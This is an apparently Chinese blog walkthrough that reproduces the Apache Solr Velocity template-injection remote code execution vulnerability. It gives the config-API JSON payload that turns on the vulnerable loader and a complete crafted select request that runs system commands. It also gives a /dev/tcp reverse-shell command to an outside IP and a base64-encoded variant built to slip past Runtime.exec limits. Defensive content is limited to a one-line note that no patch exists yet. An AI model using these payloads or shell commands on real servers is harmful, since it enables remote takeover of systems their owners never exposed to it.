Apache Solr Velocity模版注入远程命令执行漏洞复线

2019-11-05 03:49:40 浏览数 (1)

0X01 漏洞概述

Apache Solr 是一个开源的搜索服务器。Solr使用Java语言开发,主要基于HTTP和ApacheLucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。

10月31日,安全研究员S00pY在GitHub发布了ApacheSolr Velocity模版注入远程命令执行的POC,经过其他安全团队和人员的验证和复线,此漏洞已经能够被批量利用。

0X02 环境搭建

方法一:下载源码

代码语言:javascript复制
https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/

解压之后,不能直接启动,需要配置java环境变量,可参考之前的文章或者自行度娘。创建实例:

代码语言:javascript复制
sudo ./solr create_core -c alice -d../example/example-DIH/solr/db –force

然后,启动环境

浏览器访问环境

http://172.16.1.137:8983/solr/#/

要获取相应的实例的路径,单击左侧的Core Admin即可知道相应的实例。

每个实例下都有相应的config配置信息,可以直接访问查看

代码语言:javascript复制
http://172.16.1.137:8983/solr/alice/config

访问config文件,Post提交以下数据:

代码语言:javascript复制
{
 "update-queryresponsewriter": {
   "startup": "lazy",
   "name": "velocity",
   "class": "solr.VelocityResponseWriter",
    "template.base.dir":"",
   "solr.resource.loader.enabled": "true",
   "params.resource.loader.enabled": "true"
  }
}

这里要注意,数据格式一定要按照json发送,如果不对的话,很容易返回500或者400的bad request错误,如下:

所以,这里发包的时候,如果不正确,请多尝试几次。

方法二:通过docker搭建,可以直接search,方便省事的话,可以直接用vulhub上phith0n写好的docker拉取,方法按照如下链接步骤操作

代码语言:javascript复制
https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193

这里不在赘述。完成之后还是像上面一样bp发送数据修改配置。这样环境搭建基本完成了。

0X03 漏洞利用

当solr默认插件VelocityResponseWrite中

params.resource.loader.enabled参数值为true(默认false),再通过精心构造的get请求即可RCE。如果存在solr未授权访问,可post直接修改params.resource.loader.enabled参数值为true。所以,在上一步我们经过post提交数据已经修改了这两项参数值,所以目前漏洞是可以触发的。

s00py给出了poc数据,链接如下:

代码语言:javascript复制
https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

访问链接,执行利用操作

代码语言:javascript复制
http://172.16.1.137:8983/solr/alice/select?q=1&&wt=velocity&v.template=custom&v.template.custom=#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('id')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

执行结果

github上已经有很多研究人员放出漏洞利用脚本,如下等

代码语言:javascript复制
https://github.com/theLSA/solr-rce
https://github.com/Eth4nHunt/Apache-Solr-RCE

使用其中一个,即可获取cmdshell:

在其他互联网环境的服务器上测试的时候,反弹shell很容易被分割中断,报错,命令如下:

代码语言:javascript复制
bash -i >&/dev/tcp/45.32.2XX.XX/45670 >&1

但由于Runtime不能使用管道符等bash方法,所以需要进行编码

代码语言:javascript复制
bash -c{echo,YmFzaCAtaSA Ji9kZXYvdGNwLzQ1LjMyLjIyMy4zMy80NTY3IDA JjE=}|{base64,-d}|{bash,-i}

按照phith0n的解释:

具体详情解释参考

代码语言:javascript复制
https://zsxq.tricking.io/topic/501/

编码之后,我们再次测试,可以成功获取shell

0X04 加固修复

官网暂未发布相关漏洞补丁,及时关注官网更新。

http://lucene.apache.org/solr/downloads.html

0X05 参考链接

https://nosec.org/home/detail/3113.html

https://www.anquanke.com/post/id/190039

https://zsxq.tricking.io/topic/501/

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

https://github.com/shadow-horse/Apache-Solr-Velocity-RCE

0 人点赞